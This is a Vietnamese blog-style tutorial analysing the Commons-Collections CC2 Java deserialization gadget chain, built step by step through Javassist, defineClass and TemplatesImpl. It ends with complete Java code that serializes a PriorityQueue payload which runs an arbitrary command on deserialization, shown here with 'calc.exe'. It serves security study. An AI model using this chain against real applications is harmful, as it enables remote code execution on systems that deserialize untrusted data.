Try   HackMD

Commons-Collections[Phần 2]

Bài viết này sẽ về chain CC2.
Yêu cầu: CommonsCollections4, Javasist:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.25.0-GA</version>
</dependency>

Trước khi đi vào phân tích chain này, ta sẽ đi qua một số concept gồm javasist, ClassLoader#defineClass, TemplatesImpl.

Javasist(Java Programming Assistant):

Thông thường ta sẽ compile .java thành .class để chạy file java. Ta sẽ sử dụng javac để compila bằng command line, và sử dụng bytecode (.class) được generate bởi compilaion để chạy trên JVM. Mỗi file .class này chứa java class và interface

Javasist là một thư viện để xử lý bytecode, có thể chỉnh sửa bytecode của file class.

Các method thường được dùng:

ClassPool là một container của CtClass objects, từ đó có thể lấy được CtClass, bằng cách gọi đến ClassPool.getDefault().

Nó sẽ trả về default class pool.
Default class pool tìm những system search path, thường bao gồm các platform library và extension library. Search path được định nghĩa bằng -classpath option của command javac, hoặc biến môi trường CLASSPATH.

Classpath là một tham số trong JVM hoặc Java Compiler. chỉ định vị trí của class và package do người dùng xác định. Tham số này có thể được đặt trong commandline hoặc qua environment variable

ClassPool pool = ClassPool.getDefault();

Tạo một class Evil:

CtClass test = pool.makeClass("Evil");

Add class search path sử dụng ClassPool.getDefault(); nhưng trong trường hợp chương trình chạy trên Tomcat hoặc JBoss, class của user có thể không được tìm thấy.
Trong trường hợp này ta cần phải add path bằng cách sau:

pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

Gắn class được kế thừa:

test.setSuperclass(pool.get(AbstractTranslet.class.getName()));

Tạo một static constructor:

CtConstructor constructor = test.makeClassInitializer();

Insert bytecode at the beginning

constructor.insertBefore("System.out.println(\"Hello,Javasist\");");

Demo:

package com.vanir;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.lang.reflect.Method;

public class test2 {

    public static void main(String[] args) throws Exception{

        ClassPool pool = ClassPool.getDefault(); // Get default class pool.

        CtClass test = pool.makeClass("Evil"); // create Evil.class file

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); //select classpath
        test.setSuperclass(pool.get(AbstractTranslet.class.getName())); // select parent class

        CtConstructor constructor = test.makeClassInitializer();//Create empty constructor
        String cmd = "System.out.println(\"Hello,Javasist\");";
        constructor.insertBefore(cmd);//Insert Bytecode before constructor.

        test.writeFile("./");//write data to .class file
    }
}

Khi chạy file trên sẽ tạo ra một file Evil.class sau ở classpath:

ClassLoader#defineClass:

ClassLoader::defineClass có thể dùng để chạy một class từ mảng byte:

Vì nó là protected do đó ta phải dùng reflect api để gọi đến nó:

Class getClass = Class.forName("java.lang.ClassLoader");//get Classloader
Method getMethod = getClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);//get method
getMethod.setAccessible(true);//access private method
getMethod.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);

Demo:

package com.vanir;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.lang.reflect.Method;

public class TestClassLoader {

    public static void main(String[] args) throws Exception{

        ClassPool pool = ClassPool.getDefault(); // Get default class pool.

        CtClass test = pool.makeClass("Evil"); // create Evil.class file

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); //select classpath
        test.setSuperclass(pool.get(AbstractTranslet.class.getName())); // select parent class

        CtConstructor constructor = test.makeClassInitializer();//Create empty constructor
        String cmd = "System.out.println(\"Hello,Javasist\");";
        constructor.insertBefore(cmd);//Insert Bytecode before constructor.

        test.writeFile("./");//write data to .class file

        byte[] bytes = test.toBytecode();

        Class getClass = Class.forName("java.lang.ClassLoader");//get Classloader
        Method getMethod = getClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);//get method
        getMethod.setAccessible(true);//access private method
        getMethod.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
    }
}

Tưởng là nó sẽ chạy thành công, nhưng không có gì xảy ra.
Vì class được tạo bởi ClassLoader#defineClass không được khởi tạo. Do đó ta cần phải tạo 1 instance của nó.

Class getClass = Class.forName("java.lang.ClassLoader");//get Classloader
Method getMethod = getClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);//get method
getMethod.setAccessible(true);//access private method
Class invoker = (Class) getMethod.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);

invoker.newInstance();

Khi chạy file trên, class được tạo bởi Javassist sẽ được chạy.

TemplatesImpl:

full path: import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

Lướt một chút là ta sẽ thấy một class TransletClassLoader như sau:

Trong đó có một method defineClass() đã được ta phân tích ở trên.
Để gọi đến defineClass() ta có thể làm như sau:

new TransletClassLoader(blabla.class.getClassLoader()).defineClass(bytes)

Dùng Ctrl+F để tìm chỗ trigger method này đó là method defineTransletClasses()

Trace ngược lại ta được một chain như sau:

TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance()
        TemplatesImpl.defineTransletClasses()
            TransletClassLoader.defineClass()

TemplatesImpl.defineTransletClasses()

Đây là nơi trigger defineClass() method, đầu tiên nó sẽ tạo ra một Object của TransletClassLoader(). Sau đó gọi đến defineClass ở dòng 367.

Ban đầu mình có thắc mắc tại sao nó lại dùng vòng lặp for với input của defineClass() là _bytecode[i], nhưng sau khi debug lại thì mình mới thấy là nó là một mảng 2 chiều :(

Và đây là một private field của class TemplatesImpl.

TemplatesImpl.getTransletInstance

Để gọi đến TemplatesImpl.defineTransletClasses() thì ta có thể tìm thấy một số method trong TemplatesTmpl. Nhưng getTransletInstance là thứ ta cần chú ý:

Dòng 408 có gọi đến newInstance() > Nó sẽ match với cái defineClass() ta vừa phân tích ở trên. Từ đó có thể load được byte code của ta và thực thi JavaCode.

Ở đây cần 1 điều kiện là field _name phải khác null và _class bằng null mới có thể dẫn đến chõ newInstance() được, ta có thể dùng Reflect API để set value cho chúng, nhưng tạm thời cứ biết là vậy, mình sẽ demo code ở dưới.

TemplatesImpl.newTransformer:

Đây là điểm trigger TemplatesImpl.getTransletInstance().

Nó sẽ tạo ra một object của TransformerImpl.

Như vậy cơ bản là mọi thứ về TemplatesImpl đã match với nhau.
Bây giờ ta sẽ vận dụng những gì vừa tìm hiểu được để viết chain load bytecode tạo bởi javassist.

Generate Bytecode:

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass EvilClass = pool.makeClass("Evil");

EvilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));

String cmd = "System.out.println(\"Templates Test\");";
CtConstructor constructor = EvilClass.makeClassInitializer();
constructor.insertBefore(cmd);
EvilClass.writeFile("./");

byte[] bytes = EvilClass.toBytecode();

Tạo instance của TemplatesImpl:

TemplatesImpl template = new TemplatesImpl();

Set Field _name thành khác null bằng cách dùng Reflect API:

Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field _name = temp.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(template,"11111");

Set Field _class thành null dùng Reflect API:

Field _class = temp.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(template,null);

Set field _bytecodes thành bytecode generate bởi javassist

Field _bytecodes = temp.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(template,new byte[][]{bytes});

Code:

package com.vanir;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class TestClassLoader {

    public static void main(String[] args) throws Exception{

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass EvilClass = pool.makeClass("Evil");

        EvilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        String cmd = "System.out.println(\"aaaaaaaaaaaaaaa\");";
        CtConstructor constructor = EvilClass.makeClassInitializer();
        constructor.insertBefore(cmd);
        EvilClass.writeFile("./");

        byte[] bytes = EvilClass.toBytecode();

        TemplatesImpl template = new TemplatesImpl();

        Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field _name = temp.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(template,"11111");


        Field _bytecodes = temp.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(template,new byte[][]{bytes});

        template.newTransformer();
    }
}

Có vẻ hợp lý nhưng khi chạy lên lại bị lỗi như sau:

Ta có thể dễ dàng trace được là set thiếu 1 field là _tfactory. Nó sẽ gây lỗi chỗ TemplatesImpl.defineTransletClasses().

Dùng reflect api để set:

Field _tfactory = temp.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(template,new TransformerFactoryImpl());

Full Code:

package com.vanir;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import java.lang.reflect.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class TestClassLoader {

    public static void main(String[] args) throws Exception{

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass EvilClass = pool.makeClass("Evil");

        EvilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        String cmd = "System.out.println(\"aaaaaaaaaaaaaaa\");";
        CtConstructor constructor = EvilClass.makeClassInitializer();
        constructor.insertBefore(cmd);
        EvilClass.writeFile("./");

        byte[] bytes = EvilClass.toBytecode();

        TemplatesImpl template = new TemplatesImpl();

        Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field _name = temp.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(template,"11111");

        Field _class = temp.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(template,null);

        Field _bytecodes = temp.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(template,new byte[][]{bytes});

        Field _tfactory = temp.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(template,new TransformerFactoryImpl());

        template.newTransformer();
    }
}

Ok vậy là đã xong. Bây giờ ta sẽ đi vào phân tích chain CC2

CC2

Full chain này sẽ trông như sau:

ObjectInputStream.readObject()
    PriorityQueue.readObject()
    PriorityQueue.heapify()
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                TransformingComparator.compare()
                    InvokerTransformer.transform()
                        Method.invoke()
                            TemplatesImpl.newTransformer()
                                TemplatesImpl.getTransletInstance()
                                TemplatesImpl.defineTransletClasses()
                                    TransletClassLoader.defineClass()
                                newInstance()
                                    Runtime.getRuntime().exec("calc.exe")

Ta đã vừa phân tích xong đoạn này:

Bây giờ sẽ đi phân tích phần còn lại:

InvokeTransformer.transform()

Như ta đã biết ở chain CC1, method transform này có thể được dùng để thực thi command. Ta hãy xem lại method transform() này:

Nó sẽ thực thi method this.iMethodName của Object input. Ta đang muốn nó thực thi method newTransformer() của object template lúc nãy, nên ta sẽ gọi như sau:

InvokerTransformer testExec = new InvokerTransformer("newTransformer",new Class[]{}, new Object[]{});
testExec.transform(template);

TransformingComparator.compare()

Đây là điểm trigger InvokeTransformer.transform():

Nó sẽ gọi đến method transform() của this.transformer với tham số là obj1 và obj2
Và this.transformer này có thể được control bởi constructor sau:

Vậy ta có thể trigger InvokeTransformer.transform() như sau:

TransformingComparator aaa = new TransformingComparator(testExec);
aaa.compare(template, 1);

Tiếp theo ta cần tìm điểm trigger cái TransformingComparator.compare() này.

PriorityQueue.siftDownUsingComparator()

Ta thấy nó gọi method compare của object comparator 2 lần. Và lần 2 có vẻ khả thi hơn. Nếu ta control được tham số x và field comparator.

comparator thì có thể được control bằng constructor của class PriorityQuene.

Còn x có control được không thì ta cần phải trace ngược lên trên.
Ctrl+F ta có thể thấy cosiftDownUsingComparator() có thể được gọi bằng method siftDown():

PriorityQueue.siftDown()


Ta phải bằng cách nào đó control được cái x này.
Tiếp tục Ctrl+F để tìm nơi gọi siftDown() ta được method heapify():

PriorityQueue.heapify():

Method này được gọi mà không có tham số, Đại khái nó sẽ loop qua cái array quene và thực thi method siftDown() với 2 tham số là i và queue[i]. Vậy mục tiêu của ta là phải control được các phần tử trong array này.
Ctrl+F source code ta có thể tìm thấy 1 public method là add():

Nó gọi đến offer từ đó gọi gọi gì gì đó, nhưng ta có thể đọc desription để hiểu là nó add phần tử vào mảng queue.

Và tiếp tục Ctrl+F ta thấy method này được trigger bởi PriorityQueue.readObject(), chính là source của ta.

Có vẻ khá là logic, đoạn code bây giờ sẽ là:

package com.vanir;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import java.lang.reflect.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;

public class TestClassLoader {

    public static void main(String[] args) throws Exception{

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass EvilClass = pool.makeClass("Evil");

        EvilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
        CtConstructor constructor = EvilClass.makeClassInitializer();
        constructor.insertBefore(cmd);
        EvilClass.writeFile("./");

        byte[] bytes = EvilClass.toBytecode();

        TemplatesImpl template = new TemplatesImpl();

        Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field _name = temp.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(template,"11111");

        Field _class = temp.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(template,null);

        Field _bytecodes = temp.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(template,new byte[][]{bytes});

        Field _tfactory = temp.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(template,new TransformerFactoryImpl());

        InvokerTransformer testExec = new InvokerTransformer("newTransformer",new Class[]{}, new Object[]{});
        TransformingComparator aaa = new TransformingComparator(testExec);

        PriorityQueue queue = new PriorityQueue(100, aaa);
        queue.add(template);

        Serialize.saveObject(queue);
        
    }
}

Sau khi thử deserilize payload vừa tạo thì lại không bắt được gì. Debug thì thấy do mảng được tạo ra chỉ có 1 phần tử nên không thể nào trigger method siftDown() chỗ này được.

Nãy mình vội quá không phân tích kĩ chỗ này. Nó sử dụng toán tử sau: https://docs.oracle.com/javase/tutorial/java/nutsandbolts/op3.html

int i (size >>> 1) - 1, mình không tìm hiểu kĩ lắm, chỉ cần size là 2 trở lên là ok. Với size = 2 thì (size >>> 1) sẽ bằng 1. và i sẽ là 0. Và quene[0] là mấu chốt, nó phải là object template.

Vậy ta phải add 2 phần tử vào mảng quene. Và phần tử đầu tiên chắc chắn phải là template.

PriorityQueue queue = new PriorityQueue(100, aaa);
queue.add(template);
queue.add(template);

Tưởng là sẽ thành công, nhưng nó lại bị chạy calc luôn sau đó exit chương trình mà không gọi tới method saveObject().
Debug từng chỗ thì thấy nó sẽ gọi đến method siftUp() ở method offset().Và điều này không thể tránh khỏi vì comparator của ta chắc chắc khác null:

Flow này như sau:

PriorityQueue.add()
PriorityQueue.offset()
    PriorityQueue.siftUp()
        PriorityQueue.siftUpUsingComparator()

Method siftUpUsingComparator() giống hệt method siftDownUsingComparator(). Do đó nó sẽ trigger đoạn sau của chain và calc sẽ popup.
Nhưng ta sẽ không muốn gọi đến calc chỗ này. Ta chỉ muốn trigger siftDownUsingComparator(), do đó ta có thể để siftUpUsingComparator() dẫn đến invoke một method khác sau đó dùng reflect api để set field iMethodName() của TransformingComparator

InvokerTransformer testExec = new InvokerTransformer("toString",new Class[]{}, new Object[]{});

TransformingComparator aaa = new TransformingComparator(testExec);

PriorityQueue queue = new PriorityQueue(100, aaa);
queue.add(template);
queue.add(template);

Class temp2 = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer");
Field _name2 = temp2.getDeclaredField("iMethodName");
_name2.setAccessible(true);
_name2.set(testExec,"newTransformer");

Ta sẽ cho nó trigger invoke method toString() trước, vì mọi object đều có method này và nó sẽ không gây ra lỗi gì ngoài ý muốn.

Full code:

package com.vanir;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import java.lang.reflect.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;

public class TestClassLoader {

    public static void main(String[] args) throws Exception{

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass EvilClass = pool.makeClass("Evil");

        EvilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
        CtConstructor constructor = EvilClass.makeClassInitializer();
        constructor.insertBefore(cmd);
        EvilClass.writeFile("./");

        byte[] bytes = EvilClass.toBytecode();

        TemplatesImpl template = new TemplatesImpl();

        Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field _name = temp.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(template,"11111");

        Field _class = temp.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(template,null);

        Field _bytecodes = temp.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(template,new byte[][]{bytes});

        Field _tfactory = temp.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(template,new TransformerFactoryImpl());

        InvokerTransformer testExec = new InvokerTransformer("toString",new Class[]{}, new Object[]{});

        TransformingComparator aaa = new TransformingComparator(testExec);

        PriorityQueue queue = new PriorityQueue(100, aaa);
        queue.add(template);
        queue.add(template);

        Class temp2 = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer");
        Field _name2 = temp2.getDeclaredField("iMethodName");
        _name2.setAccessible(true);
        _name2.set(testExec,"newTransformer");

        Serialize.saveObject(queue);

    }
}

Kết luận: Mình cảm thấy não đang thông minh hơn 1 xíu!!!